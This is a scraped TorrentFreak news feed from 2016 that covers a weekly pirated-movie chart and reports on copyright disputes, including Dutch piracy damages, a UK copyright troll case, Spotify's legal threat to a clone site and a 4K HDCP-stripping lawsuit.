<td><a href="http://www.rottentomatoes.com/m/deadpool/">Deadpool</a> (HDTS) </td>
<td><a href="http://www.imdb.com/title/tt1431045/">8.6</a> / <a href="https://www.youtube.com/watch?v=ZIM1HydF9UA">trailer</a></td>
</tr>
<tr>
<td><strong>3</strong></td>
<td>(&#8230;)</td>
<td><a href="http://www.rottentomatoes.com/m/the_hateful_eight/">The Hateful Eight</a>  </td>
<td><a href="http://www.imdb.com/title/tt3460252">8.0</a> / <a href="https://www.youtube.com/watch?v=gnRbXn4-Yis">trailer</a></td>
</tr>
<tr>
<td><strong>4</strong></td>
<td>(4)</td>
<td><a href="http://www.rottentomatoes.com/m/the_big_short/">The Big Short</a> </td>
<td><a href="http://www.imdb.com/title/tt1596363/">8.1</a> / <a href="https://www.youtube.com/watch?v=rDlYm15ztK4">trailer</a></td>
</tr>
<tr>
<td><strong>5</strong></td>
<td>(9)</td>
<td><a href="http://www.rottentomatoes.com/m/the_revenant_2015/">The Revenant</a> (DVDscr) </td>
<td><a href="http://www.imdb.com/title/tt1663202/">8.2</a> / <a href="https://www.youtube.com/watch?v=LoebZZ8K5N0">trailer</a></td>
</tr>
<tr>
<td><strong>6</strong></td>
<td>(3)</td>
<td><a href="http://www.rottentomatoes.com/m/victor_frankenstein_2015/">Victor Frankenstein</a>  </td>
<td><a href="http://www.imdb.com/title/tt1976009/">6.1</a> / <a href="https://www.youtube.com/watch?v=2vqNOZIbIRM">trailer</a></td>
</tr>
<tr>
<td><strong>7</strong></td>
<td>(&#8230;)</td>
<td><a href="http://www.rottentomatoes.com/m/gods_of_egypt/">Gods of Egypt</a> (HDTS) </td>
<td><a href="http://www.imdb.com/title/tt2404233/">5.7</a> / <a href="https://www.youtube.com/watch?v=IJBnK2wNQSo">trailer</a></td>
</tr>
<tr>
<td><strong>8</strong></td>
<td>(6)</td>
<td><a href="http://www.rottentomatoes.com/m/spectre_2015/">Spectre</a> </td>
<td><a href="http://www.imdb.com/title/tt3682448/">7.9</a> / <a href="https://www.youtube.com/watch?v=mBBuzHrZBro">trailer</a></td>
</tr>
<tr>
<td><strong>9</strong></td>
<td>(5)</td>
<td><a href="http://www.rottentomatoes.com/m/creed_2015/">Creed</a>  </td>
<td><a href="http://www.imdb.com/title/tt3076658/">8.0</a> / <a href="https://www.youtube.com/watch?v=JQ9OhBYjTds">trailer</a></td>
</tr>
<tr>
<td><strong>10</strong></td>
<td>(7)</td>
<td><a href="http://www.rottentomatoes.com/m/ride_along_2/">Ride Along 2</a> </td>
<td><a href="http://www.imdb.com/title/tt2869728/">5.8</a> / <a href="https://www.youtube.com/watch?v=iWfmmwdCHTg">trailer</a></td>
</tr>
</tbody>
</table>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118903
title: Dutch Govt Denies Blame For Movie Piracy Losses
uri: Dutch-Govt-Denies-Blame-For-Movie-Piracy-Losses
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/LcMPiqgk8Wg/
content:
<p><img src="media/c579e316.pirate-card.jpg" data-original-source="http://torrentfreak.com/images/pirate-card.jpg" alt="pirate-card" width="250" height="210" class="alignright size-full wp-image-86520">Like many other countries around the world, downloading music and movies is hugely popular in the Netherlands.</p>
<p>In part, the popularity was facilitated by the fact that downloading pirated music has long been legal under local law. </p>
<p>This tolerant stance towards online piracy changed <a href="https://torrentfreak.com/the-netherlands-must-outlaw-downloading-eu-court-rules-140410/">in 2014</a> when the European Court of Justice ruled it to be unlawful. As a result the Dutch Government quickly outlawed unauthorized downloading. </p>
<p>Breaking the habits of a large section of the population will take more than that though, as local piracy rates remain high, which is a thorn in the side of the movie industry.</p>
<p>Earlier this year the Association of Professional Film Entrepreneurs (VPSO) decided to take action. In a letter sent to Secretary of State for Justice they held the Government responsible for their piracy losses. </p>
<p>In addition to tougher anti-piracy measures, the film industry group also <a href="https://torrentfreak.com/movie-industry-demands-e1-2-billion-piracy-damages-from-dutch-govt-160205/">claimed 1.2 billion euros</a> ($1.34 billion) as compensation for the piracy losses they claim to have suffered since 2004.</p>
<p>However, the Dutch Government has no intention of paying up. NU <a href="http://www.nu.nl/internet/4225056/nederlandse-staat-ontkent-verantwoordelijkheid-filmpiraterij.html">reports</a> that the Attorney for the Dutch state sent a letter to VPSO denying responsibility for the cited losses. </p>
<p>According to Minister of Safety and Justice Ard van der Steur, who informed the Dutch House of Representatives about this issue late last week, the Government hasn&#8217;t done anything wrong. </p>
<p>&#8220;The State does not consider itself liable for the damage VPSO allegedly suffered by VPSO. Contrary to VPSO&#8217;s claims, the Copyright Directive wasn&#8217;t applied incorrectly, so there&#8217;s no question of illegality,&#8221; he <a href="https://www.rijksoverheid.nl/ministeries/ministerie-van-veiligheid-en-justitie/documenten/kamerstukken/2016/03/04/brief-tweede-kamer-aansprakelijkstelling-speelfilmondernemers">writes</a>.</p>
<p>In addition, there are doubts about the link between piracy and losses as well as the claimed height of the damages.</p>
<p>&#8220;In addition, there are other critical notes that can be placed alongside VPSO&#8217;s alleged claim, such as the statute of limitations, the absence of a causal relationship, as well as the height of the allegedly suffered damages,&#8221; Van der Steur adds.</p>
<p>Instead of holding the State responsible, the film companies were told that they have plenty of legal options to recoup their losses through civil procedures, a suggestion that they should go after downloaders instead. </p>
<p>While the Dutch Government denies responsibility, the Justice Minister says they are willing to discuss possible enforcement options with Internet providers and film representatives, to better deter piracy going forward. </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118908
title: “Disgusted” Member of Parliament Intervenes in Internet Piracy Case
uri: Disgusted-Member-of-Parliament-Intervenes-in-Internet-Piracy-Cas
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/4329PuTN_EU/
content:
<p><img src="media/71e1bef5.oldpirate.jpg" data-original-source="https://torrentfreak.com/images/oldpirate.jpg" width="160" height="175" class="alignright">TCYK LLP is a US-based company set up to turn Internet piracy of the Robert Redford movie The Company You Keep into profit by tracking down alleged downloaders of the movie and sending them demands for cash.</p>
<p>After taking their case to the High Court in 2014, TCYK LLP were granted an order which forced ISP Sky to hand over the names and addresses of subscribers alleged to have downloaded and shared the movie without permission.</p>
<p>Last summer the first Sky customers began receiving letters from TCYK, which first laid out the company&#8217;s case and then asked for <a href="https://torrentfreak.com/sky-customers-receive-new-movie-piracy-threat-letters-150713/">hundreds of pounds</a> to make supposed lawsuits go away.</p>
<p>To those familiar with these cases it will come as no surprise that TCYK eventually screwed up. With nothing but a flimsy IP address and a time stamp for evidence they <a href="https://torrentfreak.com/82-year-old-great-grandmother-is-a-pirate-trolls-say-160212/">accused</a> 83-year-old Sky customer Patricia Drew of being an Internet pirate.</p>
<p>“I’m upset to have been accused of something I didn’t do… how many other people has this happened to?” she said last month.</p>
<p>While many thousands of other individuals have been targeted in similar action in the UK, there&#8217;s nothing like picking on the elderly to enrage the public. As a result (and thanks to TCYK&#8217;s scattergun approach) they&#8217;ve now attracted the attention of Ms Drew&#8217;s local Member of Parliament.</p>
<p>Ian Austin is the MP for Dudley North and he says he is disgusted that the pensioner is being &#8220;bullied and hounded&#8221; for compensation.</p>
<p>“This company has made a ludicrous allegation,” Austin <a href="http://www.expressandstar.com/news/2016/03/05/family-of-83-year-old-great-grandmother-who-can-just-about-turn-the-computer-on-brand-claims-she-illegally-downloaded-film-laughable/">told</a> Express and Star.</p>
<p>Ratcheting up the pressure, the MP says that he has written to Business Secretary Sajid Javid calling for action to safeguard consumers like Patricia.</p>
<p>“I am waiting to hear from the Business Secretary to see what action the Government plan to take on this disgraceful behavior.&#8221;</p>
<p><a href="media/5d2dadcb.parliament.jpg" data-original-source="http://feed.torrentfreak.com/images/parliament.jpg" rel="attachment wp-att-82702"><img src="media/322b8853.parliament.jpg" data-original-source="http://torrentfreak.com/images/parliament.jpg" alt="parliament" width="180" height="135" class="alignright size-full wp-image-82702"></a>Ian Austin says he will also raise the matter in Parliament and if he keeps to his word this will be yet another occasion that so-called &#8220;copyright trolls&#8221; have attracted the attention of Parliament and indeed the House of Lords.</p>
<p>In 2010, Lord Lucas <a href="https://torrentfreak.com/anti-piracy-scheme-a-scam-legal-blackmail-say-uk-lords-100128/">slammed</a> the activities of now-defunct copyright troll firm ACS:Law as &#8220;straightforward legal blackmail” while demanding that something be done to ensure that citizens’ personal details were not given out to similar companies “willy-nilly”.</p>
<p>Nevertheless, five years on and little has changed, except the way these companies operate. Instead of having regulated and accountable law firms front and center, companies like TCYK are now writing to Internet subscribers themselves or via companies operating out of virtual offices. This means that people in Patricia Drew&#8217;s position have no Solicitors Regulatory Authority to turn to when things get ugly.</p>
<p>&#8220;It is clearly a loophole in the law that allows them to behave like this. The only way this will stop is if our lawmakers step in and take action,” says Dave Drew, Patricia&#8217;s son.</p>
<p>&#8220;My mother is stunned by what is going on but there is no way we will be paying up.&#8221;</p>
<p>Although companies like TCYK threaten legal action for anyone that refuses to pay their &#8216;fines&#8217;, not once has a contested case ever gone to court in the UK. With the heat now being applied to Patricia Drew&#8217;s case, there is almost zero change that TCYK will pursue her case further.</p>
<p>The entire business model of these companies centers around quick settlements for relatively large sums of money and thus far Patricia&#8217;s case is not only yielding no profit but is likely to result in even fewer people caving in to TCYK&#8217;s demands.</p>
<p>It will be very interesting to hear what Ian Austin MP comes back with from Parliament and whether anything can be done to stop the wave of troll-style lawsuits in the UK.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118981
title: Steal This Show S01E07: Did P2P Break the Law?
uri: Steal-This-Show-S01E07-Did-P2P-Break-the-Law
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/dvCWBzo4Kfg/
content:
<p><img src="media/585776e5.steal240.png" data-original-source="http://torrentfreak.com/images/steal240.png" alt="steal240" width="200" height="200" class="alignright size-full wp-image-113930"></a>This episode we are joined by&nbsp;<a href="https://en.wikipedia.org/wiki/Mike_Masnick">Mike Masnick</a>&nbsp;– CEO &amp; Editor of <a href="http://techdirt.com">Techdirt</a>, and <a href="http://engine.is/about/staff">Evan Engstrom</a>, Executive Director&nbsp;of <a href="http://engine.is">Engine</a>. &nbsp;</p>
<p>This episode we discuss the extraordinary growth of academic filesharing site <a href="https://sci-hub.io">SciHub</a>, the new <a href="http://zeronet.io/">Zeronet</a> distributed torrent application <em>Play</em>, and <em>yet another</em> comeback from <a href="http://popocorntime.sh">Popcorn Time</a>. </p>
<p>In addition, we talk about the plague of DMCA takedown notices afflicting YouTube creators and why&nbsp;the law might not survive the acceleration of the digital media landscape&#8230; in its present form.</p>
<p>&#8212;</p>
<p><a href="https://stealthisshow.com">Steal This Show</a> aims to release bi-weekly episodes featuring insiders discussing copyright and file-sharing news. It complements our regular reporting by adding more room for opinion, commentary and analysis. </p>
<p>The guests for our news discussions will vary and we&#8217;ll aim to introduce voices from different backgrounds and persuasions. In addition to news, STS will also produce features interviewing some of the great innovators and minds. </p>
<p><strong>Host:</strong> Jamie King</p>
<p><strong>Guess:</strong> <a href="https://en.wikipedia.org/wiki/Mike_Masnick">Mike Masnick</a> and <a href="http://engine.is/about/staff">Evan Engstrom</a>.</p>
<p><center><iframe width="100%" height="180px" src="//stealthisshow.com/?lpe-frame=1&#038;lpe-season=1&#038;lpe-episode=7" frameborder="0"></iframe></center></p>
<p><strong>Produced </strong> <em>by </em>Jamie King<br>
<strong>Edited &#038; Mixed</strong> <em>by</em> Eric Bouthiller<br>
<strong>Original Music</strong> <em>by</em> David Triana<br>
<strong>Web Production</strong> <em>by</em> Siraje Amarniss</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=118961
title: Spotify Threatens ‘Clone’ Music Service With Legal Action
uri: Spotify-Threatens-Clone-Music-Service-With-Legal-Action
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/dYTQFpucFjo/
content:
<p><a href="media/f6de83fa.spotify.jpg" data-original-source="http://feed.torrentfreak.com/images/spotify.jpg" rel="attachment wp-att-36278"><img src="media/46b7618f.spotify.jpg" data-original-source="http://torrentfreak.com/images/spotify.jpg" alt="spotify" width="200" height="125" class="alignright size-full wp-image-36278"></a>Last month TorrentFreak <a href="https://torrentfreak.com/38-script-spawns-dozens-of-free-spotify-like-sites-160214/">reported</a> on a script which mashes-up Spotify and YouTube and enables anyone to set up a decent free music service with a minimum of fuss.</p>
<p>“Youtubify allows you to create your own music streaming website in minutes with no coding knowledge,” the script&#8217;s sales pitch reads. “It has an impressive feature set that rivals and even surpasses other biggest streaming services on the market.”</p>
<p>At a cost of just $38 YouTubify has already been deployed on dozens of sites but it seems that the road ahead might not be as smooth as first anticipated.</p>
<p>TorrentFreak has learned that the operator of &#8220;<a href="http://Http://syotify.com">Syotify</a>&#8220;, a site using the YouTubify script, has just been contacted by Spotify&#8217;s legal team.</p>
<p><center><a href="media/456ffc1d.syotify.jpg" data-original-source="http://torrentfreak.com/images/syotify.jpg" rel="attachment wp-att-118967"><img src="media/456ffc1d.syotify.jpg" data-original-source="http://torrentfreak.com/images/syotify.jpg" alt="syotify" width="648" height="480" class="aligncenter size-full wp-image-118967"></a></center></p>
<p>&#8220;Spotify has recently discovered that some of the things that you do violate Spotify’s intellectual property and other rights,&#8221; Spotify told the site.</p>
<p>&#8220;Spotify is all for you making a living and running a business, but when that business interferes with Spotify’s rights, we hope you understand that Spotify can’t just sit back and take no action.&#8221;</p>
<p>Spotify begins by making it clear that the domain name &#8216;Syotify&#8217; is too close to its own trademark and as a result is likely to mislead Spotify&#8217;s customers.</p>
<p>&#8220;Your registration and use of the Infringing Domain Name and your unauthorized use of the Spotify Marks is likely to confuse people into thinking that your website (including its domain name) is somehow associated with or approved by Spotify,&#8221; the letter continues.</p>
<p>&#8220;Unfortunately, no reasonable explanation exists for your registration of the Infringing Domain Name and use of the Spotify Marks other than the bad-faith intent to profit from the goodwill associated with the Spotify Marks.&#8221;</p>
<p>While it initially appears that Spotify is mostly concerned about its trademarks, a closer examination of the cease-and-desist sent to Syotify reveals a fundamental problem with how third-party services leverage Spotify&#8217;s API.</p>
<p>&#8220;[Y]our website offers the service of converting Spotify’s streaming music service to create playlists on YouTube in violation of Spotify’s user agreement. Essentially you use the Spotify Marks to promote a competitive website that, at the least, appears to generate revenue from third-party advertising,&#8221; Spotify writes.</p>
<p>Noting that Syotify&#8217;s website breaches trademark, cybersquatting and copyright infringement laws, Spotify gives the site just ten days to comply with a list of demands including:</p>
<p>&#8211; Stop using the &#8216;Infringing Domain Name&#8217;<br>
&#8211; Provide a list of any other &#8220;Spotify-related&#8221; domains also registered<br>
&#8211; Transfer all &#8220;infringing domains&#8221; to Spotify<br>
&#8211; Permanently stop using any marks &#8220;confusingly similar&#8221; to Spotify marks</p>
<p>But while most of the above relates to alleged trademark-style infringements, the final demand from Spotify indicates that the company will not allow the use of its API to power what amounts to a rival service.</p>
<p>&#8220;[Syotify is required to] permanently stop offering and providing services impermissibly derived from Spotify’s own services,&#8221; Spotify&#8217;s legal team writes.</p>
<p>Also of interest is that the cease and desist letter referenced above was actually sent to Cloudflare, who passed it on to Syotify as required. However, Spotify also calls on Cloudflare to take action against the music service.</p>
<p>&#8220;We assume that you respect the intellectual property rights of others and therefore request that CloudFare remove the infringing content,&#8221; Spotify writes.</p>
<p>There&#8217;s no indication that Cloudflare intends to do so but TF understands that the company has forwarded the details of Syotify&#8217;s hosting provider to Spotify and also forwarded the complaint, so dealing with the site at source is now an option.</p>
<p>Speaking with TorrentFreak, the owner of Syotify says that he was written to Spotify to acknowledge receipt of the company&#8217;s complaint but has not yet decided how to respond.</p>
<p>It&#8217;s possible that he may move to a new domain to stop infringing on Spotify&#8217;s trademarks but he&#8217;s not prepared to hand any domains over to Spotify. There is also the chance of him transitioning from a Spotify-powered site to one using Last FM, but nothing has been decided yet.</p>
<p>At the time of publication Spotify had not responded to our request for comment.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119003
title: Warner Theme Park Pirated Artists’ Music For Six Years, Court Rules
uri: Warner-Theme-Park-Pirated-Artists-Music-For-Six-Years-Court-Rules
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/nRNGquBTtqQ/
content:
<p><a href="media/9c44f037.warner-logo.jpg" data-original-source="http://torrentfreak.com/images/warner-logo.jpg" rel="attachment wp-att-119007"><img src="media/9c44f037.warner-logo.jpg" data-original-source="http://torrentfreak.com/images/warner-logo.jpg" alt="warner-logo" width="220" height="226" class="alignright size-full wp-image-119007"></a>When it comes to accusations over music piracy and subsequent litigation, US-based Warner is usually on the aggressive side of the fence. However, a case that has just concluded in Spain shows that sometimes the tables can be turned.</p>
<p>Parque Warner (Warner Park) is a theme park located just outside the Spanish capital Madrid. It opened in 2002 under the management of Six Flags with Time Warner taking a 5% stake. In 2004, Six Flags left the operation and Time Warner took over management duties, renaming the operation Warner Bros. Park and later <a href="http://parquewarner.com/">Parque Warner Madrid</a>.</p>
<p>Like all similar operations Parque Warner relies heavily on music to set atmosphere for its millions of visitors, something which the company obviously has to pay for. However, according to local music rights groups the company wasn&#8217;t always paying its fair share.</p>
<p>In an effort to correct this situation the Association of Management of Intellectual Rights <a href="http://www.agedi.es/">AGEDI</a> and the Association of Artists and Performers <a href="http://www.aie.es/">AIE</a> filed a joint lawsuit which called for Parque Warner to pay appropriate rates for the recordings it had played in public. The groups also demanded that while the legal action played out, Parque Warner should stop using copyrighted music.</p>
<p>In May 2010, Commercial Court No. 7 of Madrid ruled in favor of AGEDI / AIE but on appeal the case moved to the Provincial Court of Madrid for a second hearing. In 2013 the court again ruled in favor of the artists but determined to achieve a better outcome, Parque Warner appealed to the Supreme Court.</p>
<p>Upholding the earlier decision of the Provincial Court, the Supreme Court has now rejected the appeal and <a href="http://www.poderjudicial.es/cgpj/es/Poder-Judicial/Noticias-Judiciales/El-Supremo-condena-a-Parque-Warner-a-pagar-321-450-euros-por--utilizar-una-musica-sin-permiso">ordered</a> Parque Warner to pay compensation totaling $354,000 (321,450 euros) to AGEDI and AIE.</p>
<p>The Supreme Court said that the Warner <a href="http://www.elconfidencial.com/espana/2016-03-08/el-parque-warner-pagara-320-000-euros-por-poner-canciones-sin-autorizacion-del-autor_1164906/">used music</a> in an &#8220;intense and continuous&#8221; manner during a six year period between 2002 and 2008 without obtaining permission from rightsholders.</p>
<p>&#8220;The communication to the public of recordings took place in all areas of recreation in the leisure park, including forms of transit, attractions and catering venues and retail outlets&#8221;, the Court said.</p>
<p>Noting that the park must &#8220;pay fair compensation&#8221; to artists, the Court found that the rates charged to Warner were reasonable since they only applied to periods when the park was open each year, from March to November in this instance. Warner had previously argued that the rates had wrongly been applied for full year periods.</p>
<p>Since the case has now been heard at the highest level, Warner has no further avenues for appeal.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119033
title: Norwegian Police Seize Popcorn-Time “Information” Site
uri: Norwegian-Police-Seize-Popcorn-Time-Information-Site
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/aJGAxlhc2GU/
content:
<p><img src="media/3b9dbdf1.popcornt.png" data-original-source="http://torrentfreak.com/images/popcornt.png" alt="popcornt" width="237" height="106" class="alignright size-full wp-image-101106">First launched more than two years ago, Popcorn Time remains the go to application for many people who want to pirate the latest Hollywood blockbusters and TV-shows.</p>
<p>In response, rightsholders are doing their best to put a halt to its popularity. Late last year the MPAA scored a major victory when it shut down one of the most used forks, but many alternatives remain online. </p>
<p>To counter this threat, Norwegian rightholders called in help from Norway&#8217;s police unit and prosecution authority for economic crimes (<a href="https://en.wikipedia.org/wiki/National_Authority_for_Investigation_and_Prosecution_of_Economic_and_Environmental_Crime_in_Norway">ØKOKRIM</a>), who today <a href="http://www.okokrim.no/beslag-i-domenet-popcorn-timeno">announced</a> that they had seized the Popcorn-Time.no domain name. </p>
<p>Unlike the name suggests, the site didn&#8217;t host the application itself but instead posted news articles, as well as links to sites that offered the application. Below is a screenshot of the site in action, which currently displays a <a href="http://popcorn-time.no">notice from the police</a>.</p>
<p><center><strong>Popcorn-time.no when it was still active</strong><br></br></center><center><img src="media/307b3667.popcor-no.jpg" data-original-source="http://torrentfreak.com/images/popcor-no.jpg" alt="popcor-no" width="600" height="353" class="alignnone size-full wp-image-119038"></center></p>
<p>In a public statement the Norwegian police and prosecution unit notes that the domain is believed to be complicit in criminal copyright infringement by linking to third party content. </p>
<p>&#8220;The Norwegian domain popcorn-time.no helps electronic publication by linking to other domains where the required software can be downloaded. In addition, the Norwegian popcorn-time.no domain posted information, user manuals and news updates,&#8221; the police states.</p>
<p>No one was arrested in association with the site, according <a href="http://www.nrk.no/kultur/okokrim-gar-til-aksjon-mot-popcorn-time-1.12842452">to NRK</a>.</p>
<p>The majority of the site&#8217;s users came from Norway but overall the site was relatively small. This is also confirmed by the site&#8217;s <a href="https://www.facebook.com/popcorntimeno/">Facebook page</a>, which only generated 102 likes since its launch.</p>
<p>Despite its modest size, police conclude that the domain name seizure is significant as the site contributed to a serious social piracy problem.</p>
<p>&#8220;Illegal file sharing of copyright-protected material on the Internet poses a serious social problem. The Norwegian domain popcorn-time.no constituted, in our view, part of a global problem in constant and rapid development.&#8221;</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119006
title: Stripping 4K Content Protection is Fair Use, Court Hears
uri: Stripping-4K-Content-Protection-is-Fair-Use-Court-Hears
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/PFsw_tOCSx4/
content:
<p><img src="media/c84f81a8.4k.jpg" data-original-source="http://torrentfreak.com/images/4k.jpg" alt="4k" width="290" height="186" class="alignright size-full wp-image-115973">Late last year several pirated copies of 4K videos <a href="https://torrentfreak.com/pirates-can-now-rip-4k-content-from-netflix-and-amazon-151127/">started to leak</a> from both Netflix and Amazon. These leaks were unusual as online 4k streams were always well protected against pirates.</p>
<p>While it’s still not clear how these videos were copied, a new lawsuit from Warner Bros. and Intel daughter company Digital Content Protection (<a href="http://www.digital-cp.com/">DCP</a>) suggests that <a href="https://www.hdfury.com/">HDFury</a> devices may be involved.</p>
<p>In January the companies filed a lawsuit at a federal court in New York against the maker of the devices, technology company LegendSky, accusing it of violating the DMCA’s anti-circumvention provisions.</p>
<p>The HDFury <a href="https://www.hdfury.com/shop/splitters/integral-4k60-444-600mhz/">devices</a> in question allow users to strip the latest HDCP encryption. This hardware sits between an HDCP-compliant source and a secondary device, allowing it to pass on a “stripped” 4K signal.</p>
<p>This week the Chinese company responded to the allegations (<a href="media/db290cb7.legendsky.pdf" data-original-source="http://torrentfreak.com/images/legendsky.pdf">pdf</a>), asking the court to dismiss the lawsuit on the basis that DCP&#8217;s claims are ungrounded. </p>
<p>Among other things, the company argues that Warner Bros. and Intel will not be able to prove direct or contributory copyright infringement. Instead, they accuse DCP of copyright abuse to keep its monopoly intact.</p>
<p>&#8220;Plaintiffs’ claims are barred [&#8230;] because of copyright abuse. Plaintiffs’ action against Defendant is an intentionally unlawful attempt to extend the scope of Plaintiffs’ copyright monopolies beyond their legal scope,&#8221; LegendSky writes.</p>
<p>The hardware manufacturer states that its products do not violate the DMCA. Instead, they point out that this type of circumvention is specifically permitted as a fair use <a href="https://en.wikipedia.org/wiki/Anti-circumvention#Reverse_Engineering_and_Circumvention">exception</a>, in order to connect two separate computer programs.</p>
<p>&#8220;Plaintiffs’ claims are barred by the doctrine of fair use,&#8221; the rebuttal reads. </p>
<p>&#8220;In particular, to the extent that Defendants’ products circumvent within the meaning of the DMCA, such circumvention is lawful because it enables interoperability between independently created computer programs with other programs.&#8221;</p>
<p>LegendSky further argues that DCP doesn&#8217;t have jurisdiction over the Chinese company and in its reply requests that the New York District Court dismisses the complaint. </p>
<p>It&#8217;s expected that the content protection outfit will counter LegendSky&#8217;s arguments during the weeks to come, as it&#8217;s essential for Warner Bros. that 4K copy protection remains strong. </p>
<p>The movie studio previously announced that it will release several dozen <a href="http://www.blu-ray.com/4k/">4K Blu-ray movies</a> this year and would rather not see these end up on pirate sites in the best quality possible.</p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119057
title: Usenet Provider and BREIN Continue Battle Over Piracy Keyword Filter
uri: Usenet-Provider-and-BREIN-Continue-Battle-Over-Piracy-Keyword-Filter
url: http://feed.torrentfreak.com/~r/Torrentfreak/~3/LOsuYUJCGZA/
content:
<p><a href="media/aa1d0dda.news-service.png" data-original-source="http://feed.torrentfreak.com/images/news-service.png"><img src="media/5bfea074.news-service.png" data-original-source="http://torrentfreak.com/images/news-service.png" alt="news-service" width="180" height="69" class="alignright size-full wp-image-40721"></a>In 2009, Dutch anti-piracy group BREIN, representing the movie and music industries, took <a href="http://www.news-service.com/">News-Service Europe</a> (NSE) &#8211; one of Europe&#8217;s largest Usenet providers &#8211; to court.</p>
<p>BREIN stated that NSE should delete all infringing content from its servers, and in 2011 the Court of Amsterdam <a href="http://torrentfreak.com/major-usenet-provider-ordered-to-remove-all-infringing-content-110929/">sided</a> with the copyright holders.</p>
<p>In its initial verdict the Court concluded that NSE willingly facilitated copyright infringement through its services. As a result the company was ordered to remove all copyrighted content and filter future posts for possible copyright infringements. </p>
<p>Responding to the verdict the Usenet provider said that it was economically unfeasible to filter all messages. The company therefore saw no other option than to <a href="http://torrentfreak.com/major-usenet-provider-shuts-down-following-court-order-111106/">shut down</a> its services while the appeal was pending.</p>
<p>In 2014 the appeals court <a href="https://torrentfreak.com/court-usenet-provider-doesnt-filter-pirated-content-140819/">issued an interlocutory judgment</a> ruling that NSE does not facilitate copyright infringement as long as it maintains a procedure through which copyright holders can send unlimited takedown notices.</p>
<p>Whether the Usenet provider could also be ordered to employ a keyword filter was something to be decided at a later date. This week the Court issued its <a href="http://uitspraken.rechtspraak.nl/inziendocument?id=ECLI:NL:GHAMS:2016:813">second judgment</a>, but while both parties had hoped for more clarity, the Court pushed a final decision back once more. </p>
<p>Instead, the Court is now questioning whether both parties are still willing to take the case forward, as NSE already ceased its services several years ago. If they continue, both parties will have to split the legal costs as the case will have no clear winner. </p>
<p>In addition, the Court is asking both parties to provide expert witnesses who can answer several outstanding questions regarding a keyword filtering mechanism.</p>
<p>Among other things the Court would like to know if a keyword filter is technically feasible (NSE says it is not) and what costs and resources would have to be invested to employ such measures.</p>
<p>The Usenet provider is disappointed with another delay, but former CFO Wierd Bonthuis is happy that the court didn&#8217;t rule against the company. </p>
<p>“I am pleased that the Court of Appeal has finalised its conclusion that News-Service Europe did not act unlawfully,&#8221; Bonthuis says. </p>
<p>&#8220;However, it is painful that we must now conclude that this means it has been established that in 2011 BREIN wrongfully forced News-Service Europe to cease its activities.”</p>
<p>For its part, BREIN stresses that the Court made it clear that Usenet services must maintain a proper takedown procedure, and possible more.</p>
<p>&#8220;Even if a Usenet provider is seen as a neutral intermediary, they still need to have an effective takedown procedure and take appropriate additional measures to curb the massive infringements,&#8221; says BREIN director Tim Kuik.</p>
<p>According to BREIN, services that &#8220;thrive on illegality&#8221; prefer not to take any effective measures against copyright infringement as that would hurt their business.</p>
<p>Neither party has commented on the future of the case, but considering the lengthy legal history it&#8217;s likely that they would both want to take it all the way. </p>
<p>While the Usenet provider doesn&#8217;t plan to relaunch its services in the future, a final decision on keyword filtering could have broad implications for similar services in the Netherlands and abroad. </p>
<p>Source: <a href="https://torrentfreak.com/">TF</a>, for the latest info on copyright, file-sharing, <a href="https://torrentfreak.com/top-10-most-popular-torrent-sites-of-2016-160102/">torrent sites</a> and  <a href="https://torrentfreak.com/vpn-provider-anonymous-review-160220/">ANONYMOUS VPN services</a>.</p>
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feed_id: http://torrentfreak.com/?p=119108
title: Web Sheriff Sent “Forged” Taio Cruz Birth Certificate to MusicBrainz
uri: Web-Sheriff-Sent-Forged-Taio-Cruz-Birth-Certificate-to-MusicBrai
